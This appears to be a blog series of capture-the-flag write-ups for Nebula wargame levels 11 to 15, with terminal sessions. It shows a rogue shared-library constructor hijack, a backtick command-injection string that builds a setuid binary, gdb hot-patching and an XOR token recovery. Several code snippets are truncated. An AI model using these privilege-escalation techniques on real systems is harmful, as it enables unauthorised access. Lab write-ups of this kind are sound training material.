Exploit Exercises Nebula — level15

This level was PITA. I knew from the very beginning what should I do and how to do it however I’ve had compilation issues (i.e. my initial PoC was valid). Let’s get on with it.

Naturally, first we should follow the clues:

level15@nebula:~$ strace /home/flag15/flag15
open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=4096, ...}) = 0


So, the binary tries to use rogue libc.so.6 and as it happens we can write to the /var/tmp/flag15 directory. Splendid.

To abuse such behaviour we would need to compile our own shared-library and execute /bin/getflag from within.

Now, I did remember about this (namely — __libc_start_main()) but I forgot about this (namely — constructors, desctructors, init(), and fini()). Kudos to @joernchen for reminding.

After writing initial PoC I was stuck for couple of days and as it turned out it was because of wrong compilation method. But thanks to that I managed to write more elegant exploit (initial PoC involved hijacking __libc_start_main() and was ugly). Here it is:

static void __attribute__ ((constructor)) pwn(void);

static void pwn(void) {
execve("/bin/getflag", 0, 0);

And here’s the funny part: I will not reveal how to compile it but I assure you that this works (as well as very simple hijacking of __libc_start_main()).

level15@nebula:/var/tmp/flag15$ /home/flag15/flag15
You have successfully executed getflag on a target account

Exploit Exercises Nebula — level14

Since we do not have any source code nor hints in this challenge, we can jump straight into the shell.

First we will check the token file:

level14@nebula:~$ cat /home/flag14/token

After that we will start probing /home/flag14/flag14:

level14@nebula:~$ echo 1234567890 > /tmp/probe
level14@nebula:~$ /home/flag14/flag14 -e < /tmp/probe

I’ve chosen numbers first since we do know that previous tokens were build mainly from them. And this is actually end of this challenge — One can easily spot that the encryption algorithm works somewhat like this:

int i = 0;
while((ch=getchar()) != EOF) {
printf("%c", ch+i);

Hence writing decipher is a piece of cake:

level14@nebula:~$ ./blya

level14@nebula:~$ su flag14
sh-4.2$ /bin/getflag
You have successfully executed getflag on a target account


Exploit Exercises Nebula — level13

Side Note: If there is more elegant way to solve this I’d be happy to hear about it.

First things first — initial reading. That being said we instantly notice that the author used a string for key. This string is embedded into binary. Need I say more?

level13@nebula:~$ strings /home/flag13/flag13
Security failure detected. UID %d started us, we expect %d
The system administrators will be notified of this violation
your token is %s

OK, so "8mjomjh8wml;bwnh8jwbbnnwi;>;88?o;9ob" looks promising. Let’s try that:

level13@nebula:~$ su flag13
su: Authentication failure

Hm, well it would be too easy however this also tells us something — namely we know that the string is not plain.

Now we have two options — we can either search for the obfuscation method or we can hot-patch if statement (assembly jump instruction).

Details for both these methods I will leave as a homework for the reader.


level13@nebula:~$ ./xor
level13@nebula:~$ su flag13
sh-4.2$ /bin/getflag
You have successfully executed getflag on a target account


level13@nebula:~$ gdb -q /home/flag13/flag13
Reading symbols from /home/flag13/flag13...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x80484c9
(gdb) r
Starting program: /home/flag13/flag13

Breakpoint 1, 0x080484c9 in main ()
(gdb) set *(0x080484f9)=0xc0e83675
(gdb) c
your token is b705702b-76a8-42b0-8844-3adabbe5ac58
[Inferior 1 (process 1865) exited with code 063]
(gdb) quit

For hot-patching this and this will be useful.

Exploit Exercises Nebula — level12

After initial reading it becomes obvious that you need to execute commands via hash() function.

It’s also quite obvious which commands and how to do that.

So, in this level (as well as in previous) we will re-use technique from older challenge (namely level03).

First create wrapper /tmp/pwn.c:

#include <stdio.h>
#include <stdlib.h>

int main(void)
return 0;

Next telnet to the server and execute magic string:

level12@nebula:~$ telnet localhost 50001
Connected to localhost.
Escape character is '^]'.
Password: `gcc /tmp/pwn.c -o /tmp/pwn && chmod +s /tmp/pwn`;#
Better luck next time
Connection closed by foreign host.

After that we have SUID binary pwn under /tmp:

level12@nebula:~$ /tmp/pwn
You have successfully executed getflag on a target account


Exploit Exercises Nebula — level11

Ah, what a month! First I did some traveling, then I’ve been busy with work & life; Finally I did some good ol’ slacking. But no more.

This level is quite easy to solve even though it looks complicated at first. Also, as noted, there are two ways to solve it however I will present only one of them (the key to the other one is the fact that getrand() function isn’t secure — from there one would need to craft proper input and I’m too tired to do that now).

After initial reading we can quickly conclude that the finish line lies in process() function. It’s also trivial to spot that the input is XOR-ed and remembering that XOR is a commutative operation we already know that we need to provide XOR-ed input (process() will XOR our XOR-ed input which will result in proper command).

OK, so how will we get to process() function? By executing first block in following if statement:

if(length < sizeof(buf)) {

In order to do that we need to fulfil couple of requirements:

1. We need to provide proper header (which is #defined as “Content-Length: “)
2. We need to provide proper length (tricky part)
3. We need to provide proper input

After meeting all these requirements we will be able to execute commands via system() function.

For the sake of completeness let’s walk from the beginning of main().

First if statement that we need to pass is:

if(fgets(line, sizeof(line), stdin) == NULL) {

Which of course is passed by providing any input.

Our second if statement is header checking:

if(strncmp(line, CL, strlen(CL)) != 0) {

Here we need to provide a valid header “Content-Length: ” along with the input length value (here’s the trick!). For now type “4”:

Content-Length: 4

After that silent assigning will take place:

length = atoi(line + strlen(CL));

And finally, we’re in the if statement that we wanted to be:

if(length < sizeof(buf)) {

Since 4 < 1024. We will focus on the first block.

So, we're already executing fread() function from if statement which is in our main if statement. And here be dragons kids. Go read fread() man page and you will know that this can’t possible work. The only accepted value in this case is 1 hence our input is limited to only 1 character.

Empirical proof:

level11@nebula:/home/flag11$ ./flag11
Content-Length: 4
flag11: fread length: Success

level11@nebula:/home/flag11$ ./flag11
Content-Length: 1
sh: -c: line 0: unexpected EOF while looking for matching ``'
sh: -c: line 1: syntax error: unexpected end of file

As you can see in first run we’ve got the fread() error (from line 72) however in second run we’ve got no error from flag11, what’s more we did get an error from shell. Nice.

So, we can execute command which is one character long. At first it looks limiting but it’s not — we can connect the dots from previous levels:

level11@nebula:~$ ln -s /bin/getflag a
level11@nebula:~$ export PATH=`echo $PATH`:/home/level11
level11@nebula:~$ cd /
level11@nebula:/$ a
getflag is executing on a non-flag account, this doesn't count

Voila! One character command working like a charm however we need to provide XOR-ed value of “a”. Lucky for us the XOR key depends on user input:

key = length & 0xff;

So for us it’s 0x1 & 0xff. I’m leaving writing trivial code to XOR “a” for the reader (but acute observer does not need to do so!).

level11@nebula:~$ /home/flag11/flag11
Content-Length: 1
You have successfully executed getflag on a target account

Funny fact: You may need to try it couple of times — the reason is that array buf is not zero-ed meaning it contains garbage which makes problems for C-like strings since they need to be NULL-terminated. (Quick fix — declare it as static.)